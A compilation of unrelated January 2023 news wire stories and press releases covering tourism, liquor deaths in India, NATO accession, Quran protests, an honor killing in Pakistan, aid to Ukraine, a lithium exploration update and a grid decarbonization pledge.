The Philippines received over 2.65 million foreign tourists in 2022, earning roughly 3.82 billion U.S. dollars in revenue. The Southeast Asian country's target for 2023 is to lure some 4.8 million international visitors, with the Chinese tourist market remaining on its priority list.

In a message on the eve of the Chinese New Year, Frasco had expressed her wishes to make the Year of the Rabbit "a truly prosperous year for Philippine tourism," noting the rabbit symbolizes "longevity, peace and prosperity."

Earlier this month, an agreement to promote tourism cooperation between China and the Philippines was signed during a visit to China by Philippine President Ferdinand Romualdez Marcos.

China has recently identified the Philippines as one of the first batches of countries where Chinese group tours are allowed to resume.

Chinese Ambassador to the Philippines Huang Xilian predicted more Chinese tourists will put the Philippines on their voyage list after the two countries agreed to deepen people-to-people exchanges.

Shi Huating, aboard the flight arriving from China's eastern coastal city of Xiamen, is expected to have a reunion with her Filipino friends in Binondo, a five-century-old Chinatown in Manila.

"I feel excited. It's been a long time because of the pandemic," the Chinese teenager told Xinhua, saying she missed her Filipino friends. 
NEW DELHI, Jan. 24 (Xinhua) -- The death toll from the suspected toxic liquor consumption in India's eastern state of Bihar has risen to eight, the All India Radio (AIR) said on Tuesday.

"In Bihar, eight people died and six lost their eyesight after consuming spurious liquor," the state-run broadcaster said.

The deaths were first reported on Sunday night in Lakri Nabiganj of Siwan district, about 107 km northwest of Patna, the capital city of Bihar.

According to AIR, the casualties were likely to increase as the condition of 14 people was said to be critical.

"Three people have been sent to Gorakhpur and 11 to Patna Medical College hospital for treatment," AIR said.

The broadcaster quoted Additional Director General of Police in Bihar J.S. Gangwar as saying that spurious liquor was made from the spirit brought from Kolkata with the excuse of making sanitizer.

Gangwar told the broadcaster that 16 people have been arrested so far in connection with the sale of illicit spurious liquor.

Meanwhile, two station house officers have been suspended over the matter.

Last month over 90 people were killed and many others hospitalized following the consumption of tainted bootleg liquor in the state. A majority of the deaths were reported from the Saran district, adjacent to Siwan.

The deaths highlighted the sale of bootleg liquor in an otherwise dry state, where the sale and consumption of liquor are strictly prohibited under law.

The sale and consumption of liquor were prohibited in Bihar state in 2016. The ban was imposed after women's groups campaigned against poor workers squandering their meagre earnings on alcohol consumption. Despite the prohibition, deaths due to the consumption of illicit liquor in the state are reported often.

Spurious alcohol deaths are often reported in India, where people often drink cheap country-made bootleg liquor. 
DHAKA, Jan. 24 (Xinhua) -- Bangladeshi State Minister for Foreign Affairs Md Shahriar Alam Tuesday said Bangladesh's principal foreign policy, friendship to all, malice towards none, will remain intact whatever the global order is shifting towards.

"Our principal position, friendship to all, malice towards none, will remain intact, no matter what," the state minister was quoted as saying by Bangladesh's official news agency BSS.

The state minister was speaking as the chief guest at a seminar titled "Strengthening Bangladesh's Foreign Relations with Neighbors in the Evolving Global Order" organized by the Bangladesh Institute of International and Strategic Studies (BIISS) at its auditorium in the capital Dhaka.

The state minister said that Bangladesh would also never compromise regarding its founding principles, nationalism, socialism, democracy and secularism. 
NEW DELHI, Jan. 24 (Xinhua) -- At least three persons died and a few others were injured when a residential building collapsed in India's northern state of Uttar Pradesh on Tuesday, a local police officer said.

The accident occurred in the state capital Lucknow.

The injured were admitted to a local government hospital while the personnel of Uttar Pradesh State Disaster Response Force were carrying out rescue and relief operations.

Media quoted the state's Deputy Chief Minister Brajesh Pathak as saying that the residential building was situated on Wazir Hasanganj road. "Building collapsed suddenly. 3 dead bodies have been found. Rescue work is underway at the spot," he said.

Nearly a dozen people are feared trapped under the debris of the collapsed building. Further details are awaited. 
HELSINKI, Jan. 24 (Xinhua) -- Finnish Foreign Minister Pekka Haavisto said Tuesday that Finland might have to reconsider promoting a joint, simultaneous entry of Finland and Sweden into NATO if Sweden's application is delayed much longer.

Joint entry with Sweden still remains the priority, with a view to the Finnish and Swedish security interests, Haavisto told an interview with the national broadcaster Yle on Tuesday.

Haavisto made the comment following a statement by Turkish President Recep Tayyip Erdogan on Monday night that Sweden should not expect Turkiye's endorsement to join NATO after a Quran was burned outside the Turkish Embassy in Stockholm Saturday.

The minister said recent protests in Sweden had delayed the processing of the Swedish and Finnish NATO applications. He believes that the protesters aim to provoke Turkiye and influence the opinions of its citizens and politicians.

Finland and Sweden's NATO path will now be delayed at least until Turkiye's parliamentary and presidential elections in mid-May, said Haavisto.

Finland, Sweden and Turkiye are trying to schedule a new tripartite meeting "in early spring" to assess the situation, Haavisto said. 
ANKARA, Jan. 24 (Xinhua) -- Turkish Foreign Ministry announced on Tuesday it has summoned the Dutch ambassador to Ankara to protest against "the vile act" of a far-right Dutch politician to tear pages out of the Quran.

The ministry summoned Joep Wijnands to protest the "heinous and despicable act and demanded that the Netherlands allow no such provocative acts," the ministry said in a statement.

"We condemn in the strongest possible terms the vile attack by an anti-Islamic person in The Hague, Netherlands, on Jan. 22, to target our holy book, the Holy Quran," it added.

"This despicable act ... is a clear declaration that Islamophobia, discrimination and xenophobia know no bounds in Europe," it said.

Turkiye expected the Dutch authorities to take necessary actions against the perpetrator of the incident and to implement concrete measures to prevent the recurrence of such incidents, according to the ministry.

A video posted on social media showed Edwin Wagensveld, leader of the far-right group, Patriotic Europeans Against the Islamization of the West, ripped pages from a Quran in The Hague.

The incident comes after Swedish-Danish right-wing extremist, Rasmus Paludan, burned the Quran in front of the Turkish embassy in Stockholm on Saturday, which drew strong reaction from Turkiye. 
The cases of honor killings are increasing rapidly in Pakistan. In a recent case, a father was so annoyed with his daughter's love story against his will that he shot and killed the daughter in the court itself. The case is of Karachi city. The criminal father who carried out the incident has been arrested along with the weapon.

According to the police, the woman was a resident of Waziristan in the tribal area of Karachi. She had recently married a doctor in her neighborhood against her father's wishes. On Monday afternoon, the woman reached the court to record her statement. In the Karachi city court, she accepted that she had married according to her own will. Superintendent of Police Shabbir Sethar said that at the time of the statement of the woman, her father was also present in the court. As soon as the woman gave her statement in court, her angry father took out a weapon in front of everyone and fired at her. A policeman was also injured in the incident, whose condition is now out of danger.

After committing the crime, the police arrested the culprit. Thereafter, the weapon used to commit the offense was also seized. This is not the first case when a girl has been victimized in Pakistan for honor killing. Such incidents keep happening in different areas of Pakistan. In most cases, the perpetrator is the victim's father, husband, brother, or relative. The Superintendent of Police told that when the woman rebelled against her father and married of her choice, her father became very angry with her. Similarly, every year hundreds of women become victims of honor killing in different parts of Pakistan. The Human Rights Commission of Pakistan (HRCP) has reported an average of 650 honor killings every year in the past decade. But this figure could be more as most of these cases are not reported in Pakistan.

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Czech Republic preparing to hand over T-72 tanks to Ukraine 9 January, 11:02 PM Prime Minister of the Czech Republic Petr Fiala signed one of the tanks to be transferred to Ukraine (Photo:Petr Fiala / Twitter)

Prague is preparing to hand over a batch of modernized T-72 tanks to Ukraine, Czech PM Petr Fiala said in a Twitter post on Jan. 9.

Fiala personally signed the barrel of one of the tanks, writing a short message of support to Ukrainian troops.

Read also: What Ukraine needs to win the war

On (one of) the T-72 tank, which will go to Ukraine, I wrote a short message to the brave Ukrainian defenders, said Fiala.

I believe that the Ukrainians will win the fight against Russian aggressors.

Video of day

He added that Ukraine will receive a TREVA 30 armored recovery vehicle.

During my visit to Czech Excalibur army arsenal, I also had a chance to christen the new TREVA 30 recovery vehicle, which can help Ukraine in the future, said the PM.

On Dec. 21, the Czech Republic received the first of 14 Leopard-2 tanks from Germany, which should replace Soviet-era T-72 tanks.

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Estonian foreign ministry says Russian envoy must leave country on Feb. 7 24 January, 01:34 PM Urmas Reinsalu (Photo:REUTERS/Johanna Geron)

The Russian ambassador in Tallinn, Estonia, must leave the country on Feb. 7 after Russias decision on reducing diplomatic presence to the level of charge daffaires, Estonias Ministry of Foreign Affairs quoted Foreign Minister Urmas Reinsalu as saying on Jan. 23.

Estonia is guided by the principle of parity in its relations with Russia, and we will stand by that, Reinsalu said.

This means that the Russian ambassador in Tallinn will leave on Feb. 7, at the same time as the Estonian ambassador to Russia.

According to Reinsalu, Russias steps will not deter us from providing continued support to Ukraine, which has been fighting for its sovereignty and the security of us all for nearly a year now.

Video of day

We will continue to support Ukraine, as Russia is planning large-scale attacks, and we call on other like-minded countries to increase their assistance to Ukraine, the minister said.

Earlier on Jan. 23, Russias Ministry of Foreign Affairs announced it would reduce its diplomatic presence in Estonia to the level of charge daffaires. In this regard, the Estonian ambassador must leave the territory of Russia by Feb. 7, the Russian foreign ministry said.

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Lithuania extends EUR 40 million in military aid to Ukraine 24 January, 04:21 AM Arvydas Anusauskas (Photo:REUTERS/Ints Kalnins)

The Lithuanian government will spend EUR 40 million ($43 million) in 2023 security assistance to Ukraine, Lithuanian Foreign Minister Arvydas Anusauskas said in a Twitter post on Jan. 23.

This year Lithuania will invest up to EUR 40 million for procurements in support of Ukraines military, said Anusauskas.

This will include anti-drones, optics, thermo-visual devices, and drones.

The minister added that EUR 2 million will be forwarded to UKs international fund that finances heavy weapon procurement for Kyiv.

Video of day

On Jan. 11, Lithuanian President Gitanas Nauseda said Vilnius will provide Ukraine with L70 anti-air systems and ammunition for them.

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Twelve countries ready to transfer around 100 Leopard 2 tanks to Ukraine  media reports 24 January, 06:53 PM Chancellor Olaf Scholz near the Leopard 2 tank (Photo:REUTERS/Fabian Bimmer/File Photo)

Twelve countries have agreed to supply Ukraine with around 100 Leopard 2 tanks if the German government gives its consent, Australias news service ABC News reported on Jan. 24, with reference to a senior Ukrainian official.

According to the source, the tank commitments were made at a Jan. 20 summit at Ramstein U.S. Air Force Base in Germany when allied nations discussed military support for Ukraine.

Countries such as Poland and Finland have already indicated publicly that they are willing to provide a number of their Leopard 2 tanks to Ukraine.

Video of day

An Ukrainian official with knowledge of the matter said Spain, the Netherlands and Denmark were also willing to provide some of their tanks, however Germanys consent was still necessary for the coalition of countries to proceed on the matter.

The senior Ukrainian official, who spoke with ABC News on condition of anonymity, said the German-made Leopard tanks were urgently needed by Ukraine because its stocks of ammunition for its Soviet-era tanks are running out.

Leopard 2 tanks for Ukraine: what is known

At the Ramstein format summit on Jan. 20, Ukraines military allies failed to agree to supply Leopards to Ukraine, with the German government in particular foot-dragging on taking a decision.

Read also: Oleksandr Kovalenko Why we need Leopard 2A5 tanks

Some of Ukraines partner states have expressed their readiness to provide Ukraine with German-made Leopard tanks but are waiting for Berlins permission to re-export the tanks.

Following the summit, Ukrainian Defense Minister Oleksii Reznikov said that countries have achieved a positive breakthrough regarding the Leopard-2 tanks. He explained that the meeting participants agreed that countries with Leopard 2s in service could begin training Ukrainian tank crews.

Prior to that, Ukrainian President Volodymyr Zelenskyy said several countries (Poland, Finland, Spain, Portugal, etc.) were ready to supply Ukraine with Leopard 2s, and were only waiting for Germanys permission for their re-export.

Following numerous Ukrainian requests, Poland has decided to transfer German-made Leopard main battle tanks to Ukraine, Polish President Andrzej Duda said during his visit to Lviv, Ukraine, on Jan. 11, where he met with his Ukrainian and Lithuanian counterparts, Volodymyr Zelenskyy and Gitanas Nauseda.

In turn, Polish Prime Minister Mateusz Morawiecki said Warsaw would build a smaller coalition of the countries ready to supply Ukraine with some of their stocks of Leopard 2 battle tanks without Germanys consent, if it isnt provided.

Meanwhile, according to U.S. newspaper the Wall Street Journal, the Biden administration is leaning toward sending a significant number of Abrams M1 tanks to Ukraine and an announcement of the deliveries could come this week.

UK Prime Minister Rishi Sunak has promised to provide Ukraine with 14 Challenger 2 tanks, making the United Kingdom the first Western country to supply the heavy tanks that Kyiv has long been pleading for.



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Nepals new foreign minister Bimala Rai Paudyal

Bimala Rai Paudyal from the CPN-UML has taken the position of foreign minister of Nepal in the new Pushpa Kamal Dahal-led cabinet.

It is the foreign minister who works for keeping harmony with foreign countries and maintaining diplomatic relationships. Moreover, in the world scenario, there are various aspects that affect the social and economic aspects of people.

Currently, problems such as increasing geopolitical disputes, Russia-Ukraine tension, rising prices, the border dispute between India and China, deteriorating foreign relations, declining foreign investment, and relations between SAARC countries have been affecting the lives of people in Nepal.

And all these problems are related to the Foreign Affairs Ministry, hence there are many challenges for the new foreign minister. She needs to deal with the challenges by setting up the right priorities which we will discuss below.

Whats new in the new foreign minister?

National Assembly member Bimala Rai Paudyal speaks during an Upper House meeting

In Nepals political history, it is rare to have a woman lead the key ministries such as home, foreign affairs and finance. As per the Ministry of Foreign Affairs record, Sahana Pradhan and Sujata Koirala took over the Ministry of Foreign Affairs in 2007 and 2009, respectively.

Sushma Swaraj, who was nominated by the Bharatiya Janata Party in India, is the only female foreign minister of India until now.

Foreign ministers challenges and promises

File: The Ministry of Foreign Affairs

The new foreign minister, who was present in the National Assembly in a visible and audible manner, now has a lot to do in a short time. She has to work to strengthen Nepals declining international relations and diplomacy by mobilising the ministrys officials.

Today, the country can raise its reputation and its voice only through the proper use of diplomacy. On the day she took over the Ministry of Foreign Affairs, she said that she would work according to Nepals non-aligned foreign policy, make a common policy, discuss with foreign experts, facilitate services to the people, remove the difficulty in obtaining passports, work in coordination with diplomatic missions, and take advantage without compromising national interests.

Narrating the experience of working together with the international missions located there, she said she would prioritise making Nepali feel as safe at home when they enter an embassy of Nepal located abroad. She also said that she would discuss the border dispute with every concerned party.

Priorities she should have

Nepal should be careful enough to keep its relationships with its neighbours balanced. Photo: Wikimedia Commons

But, there are several challenges ahead of the new foreign minister in keeping these promises. To do so, the following things should be considered before initiating.
Description

Alcoholics Anonymous (AA) is an alcoholism support group founded for those who are looking to find a safe space, maintain accountability, and achieve sobriety. During these weekly meetings, we provide participants with the opportunity to express their thoughts, feelings, and experiences with others who are also on their road to recovery. Following the 12-step program, you will progress through each step as you learn how to reflect on your past behaviors and make amends with loved ones you have wronged.
Trident Sponsor of 14th Annual Frogman Swim Tampa Bay

TAMPA, Fla., Jan. 24, 2023 /PRNewswire/ -- The Chapters Health Valor Program supported the Navy Seal Foundation and Gold Star Families as a Trident Sponsor for the 14th Annual Frogman Swim, dedicating $25,000. One hundred sixty participants, including Chapters Health System President and CEO, Andrew Molosky, swam 3.4 miles through Tampa Bay on Sunday, January 15, 2023. As part of Team Gratitude, Molosky and Valor Program Services Manager, Clifton Pease, helped provide a total of $354,000.

Adam Stanfield (left), executive director of Chapters Health Foundation, joins Andrew Molosky (middle left), president & CEO of Chapters Health, and Clifton Pease (right) during the 14th Annual Frogman Swim of Tampa Bay.

"The Chapters Health Valor Program is honored to support Veterans, First Responders and their families, including those within the Navy Special Warfare community," said Pease. "We look forward to partnering with more organizations who are heavily involved in our military communities, such as the Navy Seal Foundation."

"Supporting Veterans, First Responders and their families is the mission of the Valor Program," said Adam Stanfield, vice president of development and Executive Director of the Chapters Health Foundation. "We were thrilled to support the Navy Seal Foundation by getting involved in this year's Frogman Swim in Tampa Bay."

About Chapters Health System

As a progressive leader and premier organization, Chapters Health System is dedicated to delivering innovative home health, palliative and hospice care along with durable medical equipment and pharmacy services. Since 1983 as a community-based, not-for-profit organization, Chapters Health has provided choices, education and guidance through its managed affiliates. All offerings are provided in order to improve the patient/family experience well in advance of end-of-life needs. In 2022, Chapters Health earned certified status for information security from HITRUST; for the fifth consecutive year was recognized as a great workplace in the Aging Services category by the independent analysts at the Great Place to Work Institute; and in 2021 was named a Top Workplace by the Tampa Bay Times. To learn more, visit www.chaptershealth.org, like us on Facebook or follow us on Twitter and LinkedIn.

Story continues

About Chapters Health Foundation

Chapters Health Foundation is a 501(c)(3), not-for-profit organization committed to supporting Chapters Health System, a progressive leader in home health, palliative care, hospice, and grief support. Chapters Health Foundation provides more than $7.4 million annually to help offset the accumulated costs of unfunded and underfunded programming. The programming includes, but is not limited to charity care, bereavement support and special needs funds designed to help meet the needs of patients and families who cannot afford hospice services.

About the Navy Seal Foundation

The Navy SEAL Foundation provides critical support for the warriors, veterans, and families of Naval Special Warfare through a comprehensive set of over thirty programs under five Pillars of Support: Strength, Resilience, Health, Education, and Community. NSF is a high-performing organization committed to excellence. Charity Navigator has awarded it a 4-star rating since 2009 and a perfect score of "100" since 2014 for financial health, accountability, and transparency. The Foundation ranks above 99.9% of over 195,000 charities nationwide, with ninety-three cents of every dollar donated directly funding its programs or being retained for future mission use.

Chapters Health Foundation (PRNewsfoto/Chapters Health Foundation)

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SOURCE Chapters Health Foundation
DUBLIN, Jan. 24, 2023 /PRNewswire/ -- The "China Anti-Rheumatic Drug Market - Forecasts from 2022 to 2027" report has been added to ResearchAndMarkets.com's offering.

Research_and_Markets_Logo

China Antirheumatic Drugs Market was valued at US$19.081 billion in 2020. The market is projected to grow at a CAGR of 3.73% to attain a value of US$24.654 billion by 2027.



A growing number of patients suffering from arthritis in China is the major driver of the antirheumatic drugs market in the country. According to the data from the Osteoarthritis Research Society International, its 2018 report showed that more than 8 percent of the Chinese population is living with physician-diagnosed symptomatic knee OA, while the prevalence of any type of arthritis/rheumatism was around 32.3 percent.

As such, changing lifestyles will continue this trend during the next five years, thus positively impacting the market growth of antirheumatic drugs in China. High R&D investments in developing generic drugs are also a driving factor for the market growth of antirheumatic drugs in China.

The country is the leading exporter of generic drugs across the globe. With a burgeoning middle-class and rapidly-ageing society, China's pharmaceutical industry will continue to grow during the next five years, thereby bolstering the antirheumatic drugs market growth.



The recent COVID-19 global pandemic outbreak has also impacted the growth of the antirheumatic drug market in China. Pharmaceutical companies are testing existing drugs that can effectively treat symptoms in patients infected with this novel coronavirus.

In March 2020, China's National Health Commission approved Roche's Actemra to treat serious coronavirus patients with lung damage. The drug is usually for rheumatoid arthritis, first approved by the U.S. FDA in 2010. With a continuous rise in the number of COVID-19 patients, the demand for this drug is increasing, thus positively impacting the market growth.



China's Antirheumatic Drugs market has been segmented based on the type of disease, type of molecule, and sales channel. By type of disease, the market has been segmented as osteoarthritis, rheumatoid arthritis, gout, lupus, and others. By type of molecule, China's Antirheumatic Drugs market has been classified into pharmaceuticals and biopharmaceuticals. The market segmentation has also been done by sales channel as prescription and over-the-counter (OTC).



Key Developments in the Market

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In March 2022, Adalimumab biosimilar injection (Junmaikang), co-developed by Shanghai Junshi Biosciences Co. Ltd. and Mabwell Bioscience Co. Ltd., was approved by the Chinese National Medical Products Administration (NMPA). The National 12th Five-Year Plan for Major New Drug Creation Science and Technology provided significant scientific and technological assistance for the development of Junmaikang, which is used to treat psoriasis, ankylosing spondylitis, and rheumatoid arthritis.

In March 2022, China's NMPA approved the use of GB242 (infliximab) for the treatment of rheumatoid arthritis, Fistulising Crohn's disease, and Adult Ulcerative Colitis, among few others. With this approval, Chinese patients will have more alternative treatment therapy for the treatment of RA.

COVID-19 Insights:



COVID-19 had a significant impact on China's antirheumatic drugs market. The growing prevalence of rheumatic patients led to the increased demand for drugs in the country.

However, the mandated lockdown and social distancing measures resulted in the closure of many production facilities and low staffing, slowing down productivity. The travel restrictions also affected the imports and exports in China, creating a gap in the supply and demand chain. The reasons mentioned above slowed down the market's growth.



Key Topics Covered:



1. Introduction

1.1. Market Overview

1.2. COVID-19 Impact

1.3. Market Definition

1.4. Market Segmentation



2. Research Methodology

2.1. Research Data

2.2. Assumptions



3. Executive Summary

3.1. Research Highlights



4. Market Dynamics

4.1. Market Drivers

4.2. Market Restraints

4.3. Porter's Five Forces Analysis

4.4. Industry Value Chain Analysis



5. China Antirheumatic Drugs Market Analysis, By Type of Disease

5.1. Introduction

5.2. Osteoarthritis

5.3. Rheumatoid Arthritis

5.4. Gout

5.5. Lupus

5.6. Others



6. China Antirheumatic Drugs Market Analysis, By Type of Molecule

6.1. Introduction

6.2. Pharmaceuticals

6.3. Biopharmaceuticals



7. China Antirheumatic Drugs Market Analysis, By Sales Channel

7.1. Introduction

7.2. Prescription

7.3. Over-The-Counter (OTC)



8. Competitive Environment and Analysis

8.1. Major Players and Strategy Analysis

8.2. Emerging Players and Market Lucrativeness

8.3. Mergers, Acquisitions, Agreements, and Collaborations

8.4. Vendor Competitiveness Matrix



9. Company Profiles

9.1. Pfizer Inc.

9.2. F. Hoffmann-La Roche Ltd

9.3. UCB S.A.

9.4. Eli Lilly and Company

9.5. AbbVie Inc.

For more information about this report visit https://www.researchandmarkets.com/r/8bg9xp

About ResearchAndMarkets.com

ResearchAndMarkets.com is the world's leading source for international market research reports and market data. We provide you with the latest data on international and regional markets, key industries, the top companies, new products and the latest trends.

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Research and Markets

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SOURCE Research and Markets
Clarity Metals Corp.

Figure 1

Initial interpretation of satellite data showing ferric oxide response with NE trending lineaments.

Figure 2

Preliminary resistivity results on Lithium381 Project and Allkem Limiteds 2008 IP Resistivity survey in the area of their open pit. Note the surveys are at different scales.

Figure 3

Location of Lithium381 Project showing nearby properties and total pit outline on Allkems James Bay Lithium Project from the Allkem Feasibility Study.

VANCOUVER, British Columbia, Jan. 24, 2023 (GLOBE NEWSWIRE) -- Clarity Metals Corp. (Clarity or the Company) (CSE: CMET, OTC: CLGCF, FSE: 27G0) is pleased to report preliminary results from a remote sensing survey carried out over the area of the Lithium381 Property (the Property) located in Quebec adjacent to Allkem Limiteds James Bay Lithium Property.



The preliminary results of the remote sensing work have identified a target coincident with the resistivity anomaly identified from the preliminary Induced Polarization survey (see Company news release dated January 17, 2023) shown in Figure 1. The Remote sensing exercise was carried out over the Lithium381 Property area and was interpreted for pegmatites, particularly in comparison to Allkems adjacent James Bay Lithium project as a reference signature where lithium bearing pegmatites are shown to be coincident with resistivity highs and similar spectral characteristics. The James Bay Lithium Project hosts an Indicated Resource of 40.8 Mt @1.40% Li 2 O. The James Bay Lithium deposit is slated to start construction in Q1 2023. (Source: Allkem Feasibility Study filed by Allkem on SEDAR on January 11, 2022).

James Rogers CEO of Clarity comments: These excellent results are continuing to strengthen the target identified on the companys flagship lithium project. A remote sensing anomaly coincident with a resistivity high as at the adjacent Allkem James Bay Lithium Project supports our continued exploration efforts on this project.

The Company has filed a drill permit application for the Property (see Company news dated January 18, 2023).

The Remote Sensing Survey

The remote sensing survey included the collection and interpretation of synthetic aperture radar data as well as multispectral Sentinel and Aster data to analyze vegetation, structure, alteration and ground movement. When combined with existing geological, geochemical and geophysical data, complex anomalies covering large areas can be quickly and effectively identified.

Story continues

Lineament analysis shows a series of NE trending structures across the area which correspond with ferric oxide anomalies which trend from the Allkem deposit to the Lithium381 resistivity high where an intersecting structure has been interpreted. A filter was applied to the hyperspectral data to focus on the spectra of lithium minerals, which highlighted the trend well, however the anomaly becomes much more subdued as depth of overburden increases and obscures the bedrock influence on the data.

Initial interpretation of satellite data showing ferric oxide response with NE trending lineaments.





Figure 1 Initial interpretation of satellite data showing ferric oxide response with NE trending lineaments.





Preliminary resistivity results on Lithium381 Project and Allkem Limiteds 2008 IP Resistivity survey in the area of their open pit. Note the surveys are at different scales.

Figure 2 Preliminary resistivity results on Lithium381 Project and Allkem Limiteds 2008 IP Resistivity survey in the area of their open pit. Note the surveys are at different scales.

Location of Lithium381 Project showing nearby properties and total pit outline on Allkems James Bay Lithium Project from the Allkem Feasibility Study.





Figure 3 Location of Lithium381 Project showing nearby properties and total pit outline on Allkems James Bay Lithium Project from the Allkem Feasibility Study.

The Lithium381 Property

The Property is located in Northern Quebec, Canada, approximately 3 km from the James Bay Road and the service station at KM381 which provides infrastructure to the local area.

The 21 mineral claims comprising the 1107 ha property are contiguous with Allkem Limiteds James Bay Lithium Property hosting a deposit with Indicated resources of 40.8 Mt @1.40% Li 2 O. The James Bay Lithium deposit is a lithium bearing pegmatite, which is slated to start construction in Q1 2023. (Source: Allkem Feasibility Study filed by Allkem on SEDAR on January 11, 2022).

The Property has not previously been explored for lithium bearing pegmatites but is underlain primarily by amphibolite facies metasedimentary and minor metavolcanic rocks of the Lower Eastmain Group of the Eastmain Greenstone belt in the northeastern part of the Superior Province; the same host rocks of the adjacent James Bay Lithium Deposit.

Quebec has become a favourable jurisdiction for critical mineral exploration investment with its 2030 Plan for a Green Economy targeting a reduction in carbon emissions as well as its Plan for Development of Critical and Strategic Minerals (2020-2025) which includes commitments to share financial risk and plans to improve infrastructure for projects in Northern Quebec.

Clarity recently entered into an option agreement to earn an undivided 50% right, title, ownership and beneficial interest of the Lithium381 Property from Genius Metals Inc., an arms length public company listed on the TSX Venture Exchange (TSXV) (See Clarity news release of Dec 7, 2022).

Qualified Person



Mr. Rory Kutluoglu P. Geo., a member of the advisory board and a consultant of the Company, is a Qualified Person as defined in National Instrument 43-101  Standards of Disclosure for Mineral Projects and has reviewed the technical information in this news release.

About Clarity



Clarity Metals Corp. is a Canadian mineral exploration project generator company focused on the acquisition, exploration and development of precious and base metals projects. Claritys exploration mandate is global and focused on countries with established legal and regulatory systems supporting mining investment. The Company is based in Vancouver, British Columbia, and is listed on the CSE under the symbol CMET.

Clarity recently entered into an option agreement to acquire 50% of the Lithium381 Project adjacent to Allkem Limiteds (Allkem) James Bay Lithium feasibility stage project. See Clarity news release dated December 7, 2022.

The Company was also recently assigned an option to acquire 100% of the Fecteau project located in the prolific Abitibi gold belt adjacent to Osisko Minings Windfall project. See Clarity news release dated November 22, 2022.

Additionally, Clarity has title on several early-stage projects in British Columbia and Newfoundland:

Empirical Gold Copper Molybdenite Property (10,518 ha)  Lillooet, B.C.

Tyber Gold Copper Silver Property (928 ha)  Southeast Vancouver Island, B.C.

Gretna Green Gold Copper Silver Property (1,331 ha) - Port Alberni, Vancouver Island, B.C.

Harp Lake Nickel Property (3,452 ha)  Labrador, NL

Eddies Cove MVT Property (450 ha) NW Newfoundland

Hare Bay Nickel Property (750 ha) NW Newfoundland

To learn more about Clarity Metals Corp. and its projects please visit www.claritygoldcorp.com.

ON BEHALF OF THE BOARD

James Rogers

Chief Executive Officer

Tel: 1 (833) 387-7436

Email: info@claritygoldcorp.com

Website: www.claritygoldcorp.com

This news release contains forward-looking statements. All statements, other than statements of historical fact that address activities, events or developments that the Company believes, expects or anticipates will or may occur in the future are forward-looking statements. Forward-looking statements in this news release include statements regarding: the exploration program on the Property; targets that may be generated from the exploration program and the fact the Lithium381 property is a project with favourable underlying geology adjacent to Allkems world class lithium deposit and that it hosts the same rocks and geological structure. The forward-looking statements reflect managements current expectations based on information currently available and are subject to a number of risks and uncertainties that may cause outcomes to differ materially from those discussed in the forward-looking statements including: that the Property may not host any lithium at all or any commercially viable grades of lithium; that the Property may not host any lithium resources like Allkems adjacent property; that the Company may not complete the exploration program on the Property as proposed; adverse market conditions; and other factors beyond the control of the parties. Although the Company believes that the assumptions inherent in the forward-looking statements are reasonable, forward-looking statements are not guarantees of future performance and, accordingly, undue reliance should not be put on such statements due to their inherent uncertainty. Factors that could cause actual results or events to differ materially from current expectations include general market conditions and other factors beyond the control of the Company. The Company expressly disclaims any intention or obligation to update or revise any forward-looking statements whether as a result of new information, future events or otherwise, except as required by applicable law.

The Canadian Securities Exchange (operated by CNSX Markets Inc.) has neither approved nor disapproved of the contents of this press release.

Photos accompanying this announcement are available at:

https://www.globenewswire.com/NewsRoom/AttachmentNg/2c150f27-1f01-481f-ae5c-4826cc4ca72f

https://www.globenewswire.com/NewsRoom/AttachmentNg/51f6373f-2235-4f46-adf7-c881b04144b1



https://www.globenewswire.com/NewsRoom/AttachmentNg/38c230f4-3eec-4d01-bcef-6573b39ba4cf




Company Commits to Helping Decarbonize the Grid by Maximizing the Value of its Customers Distributed Energy Resources Through a Customer-Powered Grid

BALTIMORE, Jan. 24, 2023 /PRNewswire/ -- CPower Energy (" CPower "), the national leader in unlocking the power of customer Distributed Energy Resources (DERs), today announced it has joined the 24/7 Carbon-free Energy Compact. The 24/7 Carbon-free Energy Compact is an ambitious effort coordinated by the United Nations, Sustainable Energy for All, and a growing list of signatories from companies, organizations, and governments around the world to accelerate the decarbonization of the world's electricity systems in line with the UN's Sustainable Development Goal 7 (SDG7).

CPower Energy Management (PRNewsfoto/CPower Energy Management)

As part of its commitment for the 24/7 Carbon-free Energy Compact, CPower is aiming to decarbonize the grid by maximizing the value of its customers' DERs through a Customer-Powered Grid  an interconnected grid that is less reliant on fossil fuels and created by aggregating energy users' DERs to reduce demand on the grid. Through its work with the 24/7 Carbon-free Energy Compact, CPower intends to demonstrate how automation can allocate clean energy sources to address multiple grid needs; how organizations can reduce carbon emissions through DER flexibility; and to further advocate for policy that prioritizes the clean energy transition.

"As we transition to a Customer-Powered Grid that will define our clean energy future, cross-industry collaboration is essential. Our customers have the opportunity to decarbonize their operations and their sectors, while also greening the grid to help define the quality of life and future of millions of people across the country. We look forward to working with those that are a part of the Compact to continue to accelerate the energy transition," said John Horton, President and CEO, CPower.

"The world is at a crossroads; we need to take rapid action today to create a sustainable and equitable future for all. The Carbon Free-Energy (CFE) compact has created new momentum in the race to decarbonize global electricity grids. UN-Energy together with other leading organizations and governments launched the 24/7 CFE Compact at the High-level Dialogue on Energy and our collective partnership through this compact has been critical in propelling us closer to a world where everyone, everywhere, can benefit from clean energy," Damilola Ogunbiyi, CEO and Special Representative of the UN Secretary-General for Sustainable Energy for All.

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With 6.3 GW of DER capacity across the US, CPower helps energy users --- ranging from big box retailers, hospitals, schools, government, heavy industry, data centers, crypto miners, commercial real estate developers, to owners and developers of commercial and residential solar, storage and EVs --- reduce their emissions, further ESG initiatives and counter the impacts of climate change through various grid flexibility and reliability solutions.

For more information on today's announcement, watch this statement from Mr. Horton: http://bit.ly/CPowerJoins247CFECompact.

About CPower Energy

CPower Energy is the national leader of grid balancing and reliability solutions, creating a Customer-Powered Grid that will enable a flexible, clean and dependable energy future. With 6.3 GW of capacity at more than 17,000 sites across the U.S., we unlock the full value of distributed energy resources to strengthen the grid when and where it's needed most. CPower is based in Baltimore, Maryland and is owned by LS Power, a development, investment, and operating company focused on the power and energy infrastructure sector. For more information, visit: www.cpowerenergymanagement.com .

About UN-Energy

The UN-Energy is the United Nations' mechanism for inter-agency collaboration in the field of energy, established by the UN System Chief Executives Board for Coordination (CEB) in 2004 as the United Nations' mechanism for inter-agency collaboration in the field of energy. UN-Energy seeks to act to support countries in achieving SDG7 and the interrelated goals of the Paris Climate Agenda and the broader SDG agenda.

About Sustainable Energy for All

